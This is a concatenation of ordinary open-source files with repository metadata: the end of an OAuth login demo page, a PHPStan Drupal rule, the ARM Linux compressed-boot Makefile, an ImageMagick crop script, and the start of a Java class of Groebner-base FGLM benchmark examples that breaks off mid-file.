plus.nativeUI.alert("详情错误信息请参考授权登录(OAuth)规范文档:http://www.html5plus.org/#specification#/specification/OAuth.html",null,"登录失败["+e.code+"]:"+e.message); }); }else{ outLine("无效的登录认证通道!"); plus.nativeUI.alert("无效的登录认证通道!",null,"登录"); } } // 获取用户信息 function userinfo(a){ outLine("----- 获取用户信息 -----"); a.getUserInfo(function(){ outLine("获取用户信息成功:"); outLine(JSON.stringify(a.userInfo)); var nickname=a.userInfo.nickname||a.userInfo.name; plus.nativeUI.alert("欢迎“"+nickname+"”登录!"); },function(e){ outLine("获取用户信息失败:"); outLine("["+e.code+"]:"+e.message); plus.nativeUI.alert("获取用户信息失败!",null,"登录"); }); } // 注销登录 function logoutAll(){ outSet("----- 注销登录认证 -----"); for(var i in auths){ logout(auths[i]); } } function logout(auth){ auth.logout(function(){ outLine("注销\""+auth.description+"\"成功"); },function(e){ outLine("注销\""+auth.description+"\"失败:"+e.message); }); } </script> <link rel="stylesheet" href="../css/common.css" type="text/css" charset="utf-8"/> <style type="text/css"> #total{ -webkit-user-select:text; text-align:right; padding:0 1em; border: 0px; border-bottom:1px solid #ECB100; border-radius: 0; font-size:16px; width:30%; outline:none; } </style> </head> <body> <header id="header"> <div class="nvbt iback" onclick="back()"></div> <div class="nvtt">OAuth</div> <div class="nvbt idoc" onclick="openDoc('OAuth Document','/doc/oauth.html')"></div> </header> <div id="dcontent" class="dcontent"> <br/> <p id="info" style="padding: 0 1em;text-align:left;">登录认证通道信息:</p> <div style="padding: 0.5em 1em;"><hr color="#EEE"/></div> <br/> <div id="oauth"></div> <br/> <div class="button button-waring" onclick="logoutAll()">注销登录</div> </div> <div id="output"> OAuth模块管理客户端的用户授权登录验证功能,允许应用访问第三方平台的资源。 </div> </body> <script type="text/javascript" src="../js/immersed.js" ></script> </html>
NSStringDong/XlvrenCharge
XlvrenProject_Html/XlvrenCharge/plus/oauth.html
HTML
gpl-2.0
4,040
<?php declare(strict_types=1); namespace mglaman\PHPStanDrupal\Rules\Drupal; use Drupal\Core\Extension\ModuleHandlerInterface; use PhpParser\Node; use PHPStan\Analyser\Scope; use PHPStan\Rules\RuleErrorBuilder; use PHPStan\ShouldNotHappenException; use PHPStan\Type\ObjectType; class LoadIncludes extends LoadIncludeBase { public function getNodeType(): string { return Node\Expr\MethodCall::class; } public function processNode(Node $node, Scope $scope): array { assert($node instanceof Node\Expr\MethodCall); if (!$node->name instanceof Node\Identifier) { return []; } $method_name = $node->name->toString(); if ($method_name !== 'loadInclude') { return []; } $args = $node->getArgs(); if (\count($args) < 2) { return []; } $variable = $node->var; if (!$variable instanceof Node\Expr\Variable) { return []; } $var_name = $variable->name; if (!is_string($var_name)) { throw new ShouldNotHappenException(sprintf('Expected string for variable in %s, please open an issue on GitHub https://github.com/mglaman/phpstan-drupal/issues', static::class)); } $moduleHandlerInterfaceType = new ObjectType(ModuleHandlerInterface::class); $variableType = $scope->getVariableType($var_name); if (!$variableType->isSuperTypeOf($moduleHandlerInterfaceType)->yes()) { return []; } try { // Try to invoke it similarly as the module handler itself. [$moduleName, $filename] = $this->parseLoadIncludeArgs($args[0], $args[1], $args[2] ?? null, $scope); $module = $this->extensionMap->getModule($moduleName); if ($module === null) { return [ RuleErrorBuilder::message(sprintf( 'File %s could not be loaded from %s::loadInclude because %s module is not found.', $filename, ModuleHandlerInterface::class, $moduleName )) ->line($node->getLine()) ->build() ]; } $file = $module->getAbsolutePath() . DIRECTORY_SEPARATOR . $filename; if (is_file($file)) { require_once $file; return []; } return [ RuleErrorBuilder::message(sprintf( 'File %s could not be loaded from %s::loadInclude', $module->getPath() . DIRECTORY_SEPARATOR . $filename, ModuleHandlerInterface::class )) ->line($node->getLine()) ->build() ]; } catch (\Throwable $e) { return [ RuleErrorBuilder::message(sprintf( 'A file could not be loaded from %s::loadInclude', ModuleHandlerInterface::class )) ->line($node->getLine()) ->build() ]; } } }
mamont77/easydrupal
vendor/mglaman/phpstan-drupal/src/Rules/Drupal/LoadIncludes.php
PHP
gpl-2.0
3,204
# # linux/arch/arm/boot/compressed/Makefile # # create a compressed vmlinuz image from the original vmlinux # OBJS = plus_sec := $(call as-instr,.arch_extension sec,+sec) # Ensure that MMCIF loader code appears early in the image # to minimise that number of bocks that have to be read in # order to load it. ifeq ($(CONFIG_ZBOOT_ROM_MMCIF),y) OBJS += mmcif-sh7372.o endif # Ensure that SDHI loader code appears early in the image # to minimise that number of bocks that have to be read in # order to load it. ifeq ($(CONFIG_ZBOOT_ROM_SH_MOBILE_SDHI),y) OBJS += sdhi-shmobile.o OBJS += sdhi-sh7372.o endif AFLAGS_head.o += -DTEXT_OFFSET=$(TEXT_OFFSET) AFLAGS_head.o += -Wa,-march=armv7-a$(plus_sec) AFLAGS_misc.o += -Wa,-march=armv7-a$(plus_sec) AFLAGS_decompress.o += -Wa,-march=armv7-a$(plus_sec) AFLAGS_lib1funcs.o += -Wa,-march=armv7-a$(plus_sec) AFLAGS_ashldi3.o += -Wa,-march=armv7-a$(plus_sec) # Make sure we can use these during final link CFLAGS_misc.o += -ffat-lto-objects CFLAGS_decompress.o += -ffat-lto-objects CFLAGS_string.o += -ffat-lto-objects HEAD = head.o OBJS += misc.o decompress.o ifeq ($(CONFIG_KERNEL_LZ4),y) CFLAGS_decompress.o := -Os endif FONTC = $(srctree)/drivers/video/console/font_acorn_8x8.c # string library code (-Os is enforced to keep it much smaller) OBJS += string.o CFLAGS_string.o += -Os # # Architecture dependencies # ifeq ($(CONFIG_ARCH_ACORN),y) OBJS += ll_char_wr.o font.o endif ifeq ($(CONFIG_ARCH_SHARK),y) OBJS += head-shark.o ofw-shark.o endif ifeq ($(CONFIG_ARCH_P720T),y) # Borrow this code from SA1100 OBJS += head-sa1100.o endif ifeq ($(CONFIG_ARCH_SA1100),y) OBJS += head-sa1100.o endif ifeq ($(CONFIG_ARCH_VT8500),y) OBJS += head-vt8500.o endif ifeq ($(CONFIG_CPU_XSCALE),y) OBJS += head-xscale.o endif ifeq ($(CONFIG_PXA_SHARPSL_DETECT_MACH_ID),y) OBJS += head-sharpsl.o endif ifeq ($(CONFIG_CPU_ENDIAN_BE32),y) ifeq ($(CONFIG_CPU_CP15),y) OBJS += big-endian.o else # The endian should be set by h/w design. endif endif ifeq ($(CONFIG_ARCH_SHMOBILE),y) OBJS += head-shmobile.o endif # # We now have a PIC decompressor implementation. Decompressors running # from RAM should not define ZTEXTADDR. Decompressors running directly # from ROM or Flash must define ZTEXTADDR (preferably via the config) # FIXME: Previous assignment to ztextaddr-y is lost here. See SHARK ifeq ($(CONFIG_ZBOOT_ROM),y) ZTEXTADDR := $(CONFIG_ZBOOT_ROM_TEXT) ZBSSADDR := $(CONFIG_ZBOOT_ROM_BSS) else ZTEXTADDR := 0 ZBSSADDR := ALIGN(8) endif SEDFLAGS = s/TEXT_START/$(ZTEXTADDR)/;s/BSS_START/$(ZBSSADDR)/ suffix_$(CONFIG_KERNEL_GZIP) = gzip suffix_$(CONFIG_KERNEL_LZO) = lzo suffix_$(CONFIG_KERNEL_LZMA) = lzma suffix_$(CONFIG_KERNEL_XZ) = xzkern suffix_$(CONFIG_KERNEL_LZ4) = lz4 AFLAGS_piggy.$(suffix_y).o += -Wa,-march=armv7-a$(plus_sec) # Borrowed libfdt files for the ATAG compatibility mode libfdt := fdt_rw.c fdt_ro.c fdt_wip.c fdt.c libfdt_hdrs := fdt.h libfdt.h libfdt_internal.h libfdt_objs := $(addsuffix .o, $(basename $(libfdt))) $(addprefix $(obj)/,$(libfdt) $(libfdt_hdrs)): $(obj)/%: $(srctree)/scripts/dtc/libfdt/% $(call cmd,shipped) $(addprefix $(obj)/,$(libfdt_objs) atags_to_fdt.o): \ $(addprefix $(obj)/,$(libfdt_hdrs)) ifeq ($(CONFIG_ARM_ATAG_DTB_COMPAT),y) OBJS += $(libfdt_objs) atags_to_fdt.o endif targets := vmlinux vmlinux.lds \ piggy.$(suffix_y) piggy.$(suffix_y).o \ lib1funcs.o lib1funcs.S ashldi3.o ashldi3.S \ font.o font.c head.o misc.o $(OBJS) # Make sure files are removed during clean extra-y += piggy.gzip piggy.lzo piggy.lzma piggy.xzkern piggy.lz4 \ lib1funcs.S ashldi3.S $(libfdt) $(libfdt_hdrs) ifeq ($(CONFIG_FUNCTION_TRACER),y) ORIG_CFLAGS := $(KBUILD_CFLAGS) KBUILD_CFLAGS = $(subst -pg, , $(ORIG_CFLAGS)) endif ccflags-y := -fpic -fno-builtin -I$(obj) asflags-y := # Supply kernel BSS size to the decompressor via a linker symbol. KBSS_SZ = $(shell $(CROSS_COMPILE)size $(obj)/../../../../vmlinux | \ awk 'END{print $$3}') LDFLAGS_vmlinux = --defsym _kernel_bss_size=$(KBSS_SZ) # Supply ZRELADDR to the decompressor via a linker symbol. ifneq ($(CONFIG_AUTO_ZRELADDR),y) LDFLAGS_vmlinux += --defsym zreladdr=$(ZRELADDR) endif ifeq ($(CONFIG_CPU_ENDIAN_BE8),y) LDFLAGS_vmlinux += --be8 endif ifneq ($(PARAMS_PHYS),) LDFLAGS_vmlinux += --defsym params_phys=$(PARAMS_PHYS) endif # ? LDFLAGS_vmlinux += -p # Report unresolved symbol references LDFLAGS_vmlinux += --no-undefined # Delete all temporary local symbols LDFLAGS_vmlinux += -X # Next argument is a linker script LDFLAGS_vmlinux += -T # For __aeabi_uidivmod lib1funcs = $(obj)/lib1funcs.o $(obj)/lib1funcs.S: $(srctree)/arch/$(SRCARCH)/lib/lib1funcs.S $(call cmd,shipped) # For __aeabi_llsl ashldi3 = $(obj)/ashldi3.o $(obj)/ashldi3.S: $(srctree)/arch/$(SRCARCH)/lib/ashldi3.S $(call cmd,shipped) # We need to prevent any GOTOFF relocs being used with references # to symbols in the .bss section since we cannot relocate them # independently from the rest at run time. This can be achieved by # ensuring that no private .bss symbols exist, as global symbols # always have a GOT entry which is what we need. # The .data section is already discarded by the linker script so no need # to bother about it here. check_for_bad_syms = \ bad_syms=$$($(CROSS_COMPILE)nm $@ | sed -n 's/^.\{8\} [bc] \(.*\)/\1/p') && \ [ -z "$$bad_syms" ] || \ ( echo "following symbols must have non local/private scope:" >&2; \ echo "$$bad_syms" >&2; rm -f $@; false ) check_for_multiple_zreladdr = \ if [ $(words $(ZRELADDR)) -gt 1 -a "$(CONFIG_AUTO_ZRELADDR)" = "" ]; then \ echo 'multiple zreladdrs: $(ZRELADDR)'; \ echo 'This needs CONFIG_AUTO_ZRELADDR to be set'; \ false; \ fi $(obj)/vmlinux: $(obj)/vmlinux.lds $(obj)/$(HEAD) $(obj)/piggy.$(suffix_y).o \ $(addprefix $(obj)/, $(OBJS)) $(lib1funcs) $(ashldi3) FORCE @$(check_for_multiple_zreladdr) $(call if_changed,ld) @$(check_for_bad_syms) $(obj)/piggy.$(suffix_y): $(obj)/../Image FORCE $(call if_changed,$(suffix_y)) $(obj)/piggy.$(suffix_y).o: $(obj)/piggy.$(suffix_y) FORCE CFLAGS_font.o := -Dstatic= $(obj)/font.c: $(FONTC) $(call cmd,shipped) $(obj)/vmlinux.lds: $(obj)/vmlinux.lds.in arch/arm/boot/Makefile $(KCONFIG_CONFIG) @sed "$(SEDFLAGS)" < $< > $@
DecimalMan/dkp
arch/arm/boot/compressed/Makefile
Makefile
gpl-2.0
6,237
convert images/OCS-755.png -crop 1665x5086+0+0 +repage images/OCS-755-A.png convert images/OCS-755.png -crop 1665x5086+1665+0 +repage images/OCS-755-B.png #/OCS-755.png # # #
jonnymwalker/Staroslavjanskij-Slovar
scripts/middlesplit.OCS-755.sh
Shell
gpl-2.0
175
/* * $Id$ */ package edu.jas.gbufd; import java.io.IOException; import java.io.Reader; import java.io.StringReader; import java.math.BigInteger; import java.util.Arrays; import java.util.Collections; import java.util.List; //import junit.framework.Test; //import junit.framework.TestCase; //import junit.framework.TestSuite; import edu.jas.arith.BigRational; import edu.jas.arith.ModInteger; import edu.jas.arith.ModIntegerRing; import edu.jas.gb.GroebnerBase; import edu.jas.poly.ExpVector; import edu.jas.poly.GenPolynomial; import edu.jas.poly.GenPolynomialTokenizer; import edu.jas.poly.Monomial; import edu.jas.poly.OrderedPolynomialList; import edu.jas.poly.PolyUtil; import edu.jas.poly.PolynomialList; /** * Groebner base FGLM examples. Without JUnit. * @author Jan Suess. */ public class GroebnerBaseFGLMExamples /*extends TestCase*/ { /** * main */ public static void main(String[] args) { //BasicConfigurator.configure(); //junit.textui.TestRunner.run(suite()); GroebnerBaseFGLMExamples ex = new GroebnerBaseFGLMExamples(); ex.testC5(); /* ex.xtestFiveVarsOrder(); ex.xtestCAP(); ex.xtestAUX(); ex.xtestModC5(); ex.xtestC6(); ex.xtestIsaac(); ex.xtestNiermann(); ex.ytestWalkS7(); ex.ytestCassouMod1(); ex.ytestOmdi1(); ex.ytestLamm1(); ex.xtestEquilibrium(); ex.xtestTrinks2(); ex.xtestHairerRungeKutta_1(); */ } /* * Constructs a <CODE>GroebnerBaseFGLMExamples</CODE> object. * @param name String. public GroebnerBaseFGLMExamples(String name) { super(name); } */ /* * suite. public static Test suite() { TestSuite suite = new TestSuite(GroebnerBaseFGLMExamples.class); return suite; } */ //field Q String all = "Zahlbereich | Ordnung | Elements G | Elements L | bitHeight G | bitHeight L | Deg G | Deg L | Time G | Time FGLM | Time L"; String grad = "Zahlbereich | Ordnung | Elements G | bitHeight G | Deg G | Time G | vDim"; String lex = "Zahlbereich | Ordnung | Elements L | bitHeight L | Deg L | Time L"; String fglm = "Zahlbereich | Ordnung | Elements G | Elements L | bitHeight G | bitHeight L | Deg G | Deg L | Time G | Time FGLM"; //MOD 1831 String modAll = "Zahlbereich | Ordnung | Elements G | Elements L | Deg G | Deg L | Time G | Time FGLM | Time L"; String modGrad = "Zahlbereich | Ordnung | Elements G | Deg G | Time G"; String modfglm = "Zahlbereich | Ordnung | Elements G | Elements L | Deg G | Deg L | Time G | Time FGLM"; /* @Override protected void setUp() { System.out.println("Setup"); } @Override protected void tearDown() { System.out.println("Tear Down"); } */ //Test with five variables and different variable orders public void xtestFiveVarsOrder() { String polynomials = "( " + " (v^8*x*y*z), ( w^3*x - 2*v), ( 4*x*y - 2 + y), ( 3*y^5 - 3 + z ), ( 8*y^2*z^2 + x * y^6 )" + ") "; String[] order = new String[] { "v", "w", "x", "y", "z" }; //String order1 = shuffle(order); String order2 = shuffle(order); //String order3 = shuffle(order); //String order4 = shuffle(order); //String order5 = shuffle(order); //String order6 = "(z,w,v,y,x)"; //langsam //String order7 = "(v,z,w,y,x)"; //langsam //String order8 = "(w,z,v,x,y)"; //langsam /* String erg1 = testGeneral(order1, polynomials); String erg2 = testGeneral(order2, polynomials); String erg3 = testGeneral(order3, polynomials); String erg4 = testGeneral(order4, polynomials); String erg5 = testGeneral(order5, polynomials); */ String ergM13 = modAll(order2, polynomials, 13); String ergM7 = modAll(order2, polynomials, 7); /* String ergOnlyL_1 = testOnlyLex(order1, polynomials); String ergOnlyL_2 = testOnlyLex(order2, polynomials); String ergOnlyL_3 = testOnlyLex(order3, polynomials); String ergOnlyL_4 = testOnlyLex(order4, polynomials); String ergOnlyL_5 = testOnlyLex(order5, polynomials); String erg6 = testGeneral(order6, polynomials); String erg7 = testGeneral(order7, polynomials); String erg8 = testGeneral(order8, polynomials); */ //langsam: (z,w,v,y,x), (v,z,w,y,x) /* System.out.println(categoryLex); System.out.println(ergOnlyL_1); System.out.println(ergOnlyL_2); System.out.println(ergOnlyL_3); System.out.println(ergOnlyL_4); System.out.println(ergOnlyL_5); System.out.println(category); System.out.println(erg6); System.out.println(erg7); System.out.println(erg8); System.out.println(erg1); System.out.println(erg2); System.out.println(erg3); System.out.println(erg4); System.out.println(erg5); */ System.out.println(all); System.out.println("Mod 13"); System.out.println(ergM13); System.out.println("Mod 7"); System.out.println(ergM7); } //=================================================================== //Examples taken from "Efficient Computation of Zero-Dimensional Gröbner Bases by Change of Ordering", // 1994, Faugere, Gianni, Lazard, Mora (FGLM) //=================================================================== public void xtestCAP() { String polynomials = "( " + " (y^2*z + 2*x*y*t - 2*x - z)," + "(-x^3*z + 4*x*y^2*z + 4*x^2*y*t + 2*y^3*t + 4*x^2 - 10*y^2 + 4*x*z - 10*y*t + 2)," + "(2*y*z*t + x*t^2 - x - 2*z)," + "(-x*z^3 + 4*y*z^2*t + 4*x*z*t^2 + 2*y*t^3 + 4*x*z + 4*z^2 - 10*y*t -10*t^2 + 2)" + ") "; String orderINV = "(x,y,z,t)"; String orderL = "(t,z,y,x)"; //Tests String erg_deg = grad(orderINV, polynomials); System.out.println(grad); System.out.println(erg_deg); String erg1 = all(orderINV, polynomials); String erg2 = all(orderL, polynomials); String ergMod1 = modAll(orderINV, polynomials, 1831); String ergMod2 = modAll(orderL, polynomials, 1831); System.out.println(all); System.out.println(erg1); System.out.println(erg2); System.out.println("\n"); System.out.println(modAll); System.out.println(ergMod1); System.out.println(ergMod2); } public void xtestAUX() { String polynomials = "( " + " (a^2*b*c + a*b^2*c + a*b*c^2 + a*b*c + a*b + a*c + b*c)," + "(a^2*b^2*c + a*b^2*c^2 + a^2*b*c + a*b*c + b*c + a + c )," + "(a^2*b^2*c^2 + a^2*b^2*c + a*b^2*c + a*b*c + a*c + c + 1)" + ") "; String orderINV = "(a,b,c)"; String orderL = "(c,b,a)"; //Tests String erg_deg = grad(orderINV, polynomials); System.out.println(grad); System.out.println(erg_deg); String erg1 = all(orderINV, polynomials); String erg2 = all(orderL, polynomials); String ergMod1 = modAll(orderINV, polynomials, 1831); String ergMod2 = modAll(orderL, polynomials, 1831); System.out.println(all); System.out.println(erg1); System.out.println(erg2); System.out.println("\n"); System.out.println(modAll); System.out.println(ergMod1); System.out.println(ergMod2); } public void testC5() { String polynomials = "( " + " (a + b + c + d + e)," + "(a*b + b*c + c*d + a*e + d*e)," + "(a*b*c + b*c*d + a*b*e + a*d*e + c*d*e)," + "(a*b*c*d + a*b*c*e + a*b*d*e + a*c*d*e + b*c*d*e)," + "(a*b*c*d*e -1)" + ") "; String orderINV = "(a,b,c,d,e)"; String orderL = "(e,d,c,b,a)"; //Tests String erg_deg = grad(orderINV, polynomials); //System.out.println(grad); //System.out.println(erg_deg); String erg1 = all(orderINV, polynomials); String erg2 = all(orderL, polynomials); String ergMod1 = modAll(orderINV, polynomials, 1831); String ergMod2 = modAll(orderL, polynomials, 1831); System.out.println(grad); System.out.println(erg_deg); System.out.println(""); System.out.println(all); System.out.println(erg1); System.out.println(erg2); System.out.println("\n"); System.out.println(modAll); System.out.println(ergMod1); System.out.println(ergMod2); } public void xtestModC5() { String polynomials = "( " + " (a + b + c + d + e)," + "(a*b + b*c + c*d + a*e + d*e)," + "(a*b*c + b*c*d + a*b*e + a*d*e + c*d*e)," + "(b*c*d + a*b*c*e + a*b*d*e + a*c*d*e + b*c*d*e)," + "(a*b*c*d*e -1)" + ") "; String orderINV = "(a,b,c,d,e)"; String orderL = "(e,d,c,b,a)"; //Tests String erg_deg = grad(orderL, polynomials); System.out.println(grad); System.out.println(erg_deg); /* String ergOnlyFGLM_1 = fglm(orderINV, polynomials); System.out.println(fglm); System.out.println(ergOnlyFGLM_1); //Tests MODULO String ergOnlyG_1 = modGrad(orderINV, polynomials, 1831); System.out.println(modGrad); System.out.println(ergOnlyG_1); String erg1 = modfglm(orderINV, polynomials, 1831); System.out.println(modfglm); System.out.println(erg1); */ } public void xtestC6() { String polynomials = "( " + " (a + b + c + d + e + f)," + "(a*b + b*c + c*d + d*e + e*f + a*f)," + "(a*b*c + b*c*d + c*d*e + d*e*f + a*e*f + a*b*f)," + "(a*b*c*d + b*c*d*e + c*d*e*f + a*d*e*f + a*b*e*f + a*b*c*f)," + "(a*b*c*d*e + b*c*d*e*f + a*c*d*e*f + a*b*d*e*f + a*b*c*e*f + a*b*c*d*f)," + "(a*b*c*d*e*f - 1)" + ") "; String orderINV = "(a,b,c,d,e,f)"; String orderL = "(f,e,d,c,b,a)"; //Tests /* String erg2 = modAll(orderINV, polynomials, 1831); System.out.println(modAll); System.out.println(erg2); String ergOnlyG_1 = modGrad(orderINV, polynomials, 1831); System.out.println(modGrad); System.out.println(ergOnlyG_1); String erg1 = modfglm(orderINV, polynomials, 1831); System.out.println(modfglm); System.out.println(erg1); */ } //=================================================================== //Examples taken from "Der FGLM-Algorithmus: verallgemeinert und implementiert in SINGULAR", 1997, Wichmann //=================================================================== public void xtestIsaac() { String polynomials = "( " + " (8*w^2 + 5*w*x - 4*w*y + 2*w*z + 3*w + 5*x^2 + 2*x*y - 7*x*z - 7*x + 7*y^2 -8*y*z - 7*y + 7*z^2 - 8*z + 8)," + "(3*w^2 - 5*w*x - 3*w*y - 6*w*z + 9*w + 4*x^2 + 2*x*y - 2*x*z + 7*x + 9*y^2 + 6*y*z + 5*y + 7*z^2 + 7*z + 5)," + "(-2*w^2 + 9*w*x + 9*w*y - 7*w*z - 4*w + 8*x^2 + 9*x*y - 3*x*z + 8*x + 6*y^2 - 7*y*z + 4*y - 6*z^2 + 8*z + 2)," + "(7*w^2 + 5*w*x + 3*w*y - 5*w*z - 5*w + 2*x^2 + 9*x*y - 7*x*z + 4*x -4*y^2 - 5*y*z + 6*y - 4*z^2 - 9*z + 2)" + ") "; String orderINV = "(w,x,y,z)"; String orderL = "(z,y,x,w)"; //Tests String erg_deg = grad(orderL, polynomials); System.out.println(grad); System.out.println(erg_deg); /* String erg3 = all(orderINV, polynomials); System.out.println(all); System.out.println(erg3); String ergOnlyLex_1 = lex(orderINV, polynomials); String ergOnlyLex_2 = lex(orderL, polynomials); System.out.println(lex); System.out.println(ergOnlyLex_1); System.out.println(ergOnlyLex_2); String ergOnlyFGLM_1 = fglm(orderINV, polynomials); String ergOnlyFGLM_2 = fglm(orderL, polynomials); System.out.println(fglm); System.out.println(ergOnlyFGLM_1); System.out.println(ergOnlyFGLM_2); String ergm1 = modAll(orderINV, polynomials, 2147464751); String ergm2 = modAll(orderL, polynomials, 2147464751); System.out.println(modAll); System.out.println(ergm1); System.out.println(ergm2); */ } public void xtestNiermann() { String polynomials = "( " + " (x^2 + x*y^2*z - 2*x*y + y^4 + y^2 + z^2)," + "(-x^3*y^2 + x*y^2*z + x*y*z^3 - 2*x*y + y^4)," + "(-2*x^2*y + x*y^4 + y*z^4 - 3)" + ") "; String orderINV = "(x,y,z)"; String orderL = "(z,y,x)"; //Tests String erg_deg = grad(orderINV, polynomials); System.out.println(grad); System.out.println(erg_deg); /* String erg1 = fglm(orderINV, polynomials); String erg2 = fglm(orderL, polynomials); System.out.println(fglm); System.out.println(erg1); System.out.println(erg2); */ String ergm1 = modfglm(orderINV, polynomials, 1831); String ergm2 = modfglm(orderL, polynomials, 2147464751); System.out.println(modfglm); System.out.println(ergm1); System.out.println(ergm2); } public void ytestWalkS7() { String polynomials = "( " + " (2*g*b + 2*f*c + 2*e*d + a^2 + a)," + "(2*g*c + 2*f*d + e^2 + 2*b*a + b)," + "(2*g*d + 2*f*e + 2*c*a + c + b^2)," + "(2*g*e + f^2 + 2*d*a + d + 2*c*b)," + "(2*g*f + 2*e*a + e + 2*d*b + c^2)," + "(g^2 + 2*f*a + f + 2*e*b + 2*d*c)," + "(2*g*a + g + 2*f*b + 2*e*c + d^2)" + ") "; String orderINV = "(a,b,c,d,e,f,g)"; String orderL = "(g,f,e,d,c,b,a)"; //Tests //String ergm1 = modAll(orderINV, polynomials, 2147464751); //String ergm2 = modfglm(orderL, polynomials, 1831); //System.out.println(modfglm); //System.out.println(ergm1); //System.out.println(ergm2); String erg2 = fglm(orderL, polynomials); System.out.println(fglm); System.out.println(erg2); } public void ytestCassouMod1() { String polynomials = "( " + " (15*a^4*b*c^2 + 6*a^4*b^3 + 21*a^4*b^2*c - 144*a^2*b - 8*a^2*b^2*d - 28*a^2*b*c*d - 648*a^2*c + 36*c^2*d + 9*a^4*c^3 - 120)," + "(30*b^3*a^4*c - 32*c*d^2*b - 720*c*a^2*b - 24*b^3*a^2*d - 432*b^2*a^2 + 576*d*b - 576*c*d + 16*b*a^2*c^2*d + 16*c^2*d^2 + 16*d^2*b^2 + 9*b^4*a^4 + 5184 + 39*c^2*a^4*b^2 + 18*c^3*a^4*b - 432*c^2*a^2 + 24*c^3*a^2*d - 16*b^2*a^2*c*d - 240*b)," + "(216*c*a^2*b - 162*c^2*a^2 - 81*b^2*a^2 + 5184 + 1008*d*b - 1008*c*d + 15*b^2*a^2*c*d - 15*b^3*a^2*d - 80*c*d^2*b + 40*c^2*d^2 + 40*d^2*b^2)," + "(261 + 4*c*a^2*b - 3*c^2*a^2 - 4*b^2*a^2 + 22*d*b - 22*c*d)" + ") "; String orderINV = "(a,b,c,d)"; String orderL = "(d,c,b,a)"; //Tests String ergm1 = modfglm(orderL, polynomials, 1831); String ergm2 = modfglm(orderINV, polynomials, 1831); System.out.println(modfglm); System.out.println(ergm1); System.out.println(ergm2); } public void ytestOmdi1() { String polynomials = "( " + " (a + c + v + 2*x - 1)," + "(a*b + c*u + 2*v*w + 2*x*y + 2*x*z -2/3)," + "(a*b^2 + c*u^2 + 2*v*w^2 + 2*x*y^2 + 2*x*z^2 - 2/5)," + "(a*b^3 + c*u^3 + 2*v*w^3 + 2*x*y^3 + 2*x*z^3 - 2/7)," + "(a*b^4 + c*u^4 + 2*v*w^4 + 2*x*y^4 + 2*x*z^4 - 2/9)," + "(v*w^2 + 2*x*y*z - 1/9)," + "(v*w^4 + 2*x*y^2*z^2 - 1/25)," + "(v*w^3 + 2*x*y*z^2 + x*y^2*z - 1/15)," + "(v*w^4 + x*y*z^3 + x*y^3*z -1/21)" + ") "; String orderINV = "(a,b,c,u,v,w,x,y,z)"; String orderL = "(z,y,x,w,v,u,c,b,a)"; //Tests String erg_deg = grad(orderL, polynomials); System.out.println(grad); System.out.println(erg_deg); /* String ergm1 = modfglm(orderL, polynomials, 1831); String ergm2 = modfglm(orderINV, polynomials, 1831); System.out.println(modfglm); System.out.println(ergm1); System.out.println(ergm2); */ } public void ytestLamm1() { String polynomials = "( " + " (45*x^8 + 3*x^7 + 39*x^6 + 30*x^5 + 13*x^4 + 41*x^3 + 5*x^2 + 46*x + 7)," + "(49*x^7*y + 35*x*y^7 + 37*x*y^6 + 9*y^7 + 4*x^6 + 6*y^6 + 27*x^3*y^2 + 20*x*y^4 + 31*x^4 + 33*x^2*y + 24*x^2 + 49*y + 43)" + ") "; String orderINV = "(x,y)"; String orderL = "(y,x)"; //Tests String erg_deg = grad(orderINV, polynomials); System.out.println(grad); System.out.println(erg_deg); String erg1 = all(orderINV, polynomials); String erg2 = all(orderL, polynomials); String ergMod1 = modAll(orderINV, polynomials, 1831); String ergMod2 = modAll(orderL, polynomials, 1831); System.out.println(all); System.out.println(erg1); System.out.println(erg2); System.out.println("\n"); System.out.println(modAll); System.out.println(ergMod1); System.out.println(ergMod2); } //=================================================================== //Examples taken from "Some Examples for Solving Systems of Algebraic Equations by Calculating Gröbner Bases", 1984, Boege, Gebauer, Kredel //=================================================================== public void xtestEquilibrium() { String polynomials = "( " + " (y^4 - 20/7*z^2)," + "(z^2*x^4 + 7/10*z*x^4 + 7/48*x^4 - 50/27*z^2 - 35/27*z - 49/216)," + "(x^5*y^3 + 7/5*z^4*y^3 + 609/1000 *z^3*y^3 + 49/1250*z^2*y^3 - 27391/800000*z*y^3 - 1029/160000*y^3 + 3/7*z^5*x*y^2 +" + "3/5*z^6*x*y^2 + 63/200*z^3*x*y^2 + 147/2000*z^2*x*y^2 + 4137/800000*z*x*y^2 - 7/20*z^4*x^2*y - 77/125*z^3*x^2*y" + "- 23863/60000*z^2*x^2*y - 1078/9375*z*x^2*y - 24353/1920000*x^2*y - 3/20*z^4*x^3 - 21/100*z^3*x^3" + "- 91/800*z^2*x^3 - 5887/200000*z*x^3 - 343/128000*x^3)" + ") "; String order = "(x,y,z)"; //Tests String ergOnlyG_1 = grad(order, polynomials); System.out.println(grad); System.out.println(ergOnlyG_1); } public void xtestTrinks2() { String polynomials = "( " + " (45*p + 35*s - 165*b - 36)," + "(35*p + 40*z + 25*t - 27*s)," + "(15*w + 25*p*s + 30*z - 18*t - 165*b^2)," + "(-9*w + 15*p*t + 20*z*s)," + "(w*p + 2*z*t - 11*b^3)," + "(99*w - 11*s*b + 3*b^2)," + "(b^2 + 33/50*b + 2673/10000)" + ") "; String order1 = "(b,s,t,z,p,w)"; String order2 = "(s,b,t,z,p,w)"; String order3 = "(s,t,b,z,p,w)"; String order4 = "(s,t,z,p,b,w)"; String order5 = "(s,t,z,p,w,b)"; String order6 = "(s,z,p,w,b,t)"; String order7 = "(p,w,b,t,s,z)"; String order8 = "(z,w,b,s,t,p)"; String order9 = "(t,z,p,w,b,s)"; String order10 = "(z,p,w,b,s,t)"; String order11 = "(p,w,b,s,t,z)"; String order12 = "(w,b,s,t,z,p)"; //Tests String erg_1 = all(order1, polynomials); String erg_2 = all(order2, polynomials); String erg_3 = all(order3, polynomials); String erg_4 = all(order4, polynomials); String erg_5 = all(order5, polynomials); String erg_6 = all(order6, polynomials); String erg_7 = all(order7, polynomials); String erg_8 = all(order8, polynomials); String erg_9 = all(order9, polynomials); String erg_10 = all(order10, polynomials); String erg_11 = all(order11, polynomials); String erg_12 = all(order12, polynomials); System.out.println(all); System.out.println(erg_1); System.out.println(erg_2); System.out.println(erg_3); System.out.println(erg_4); System.out.println(erg_5); System.out.println(erg_6); System.out.println(erg_7); System.out.println(erg_8); System.out.println(erg_9); System.out.println(erg_10); System.out.println(erg_11); System.out.println(erg_12); } public void xtestHairerRungeKutta_1() { String polynomials = "( " + " (a-f),(b-h-g),(e+d+c-1),(d*a+c*b-1/2),(d*a^2+c*b^2-1/3),(c*g*a-1/6)" + ") "; String[] order = new String[] { "a", "b", "c", "d", "e", "f", "g", "h" 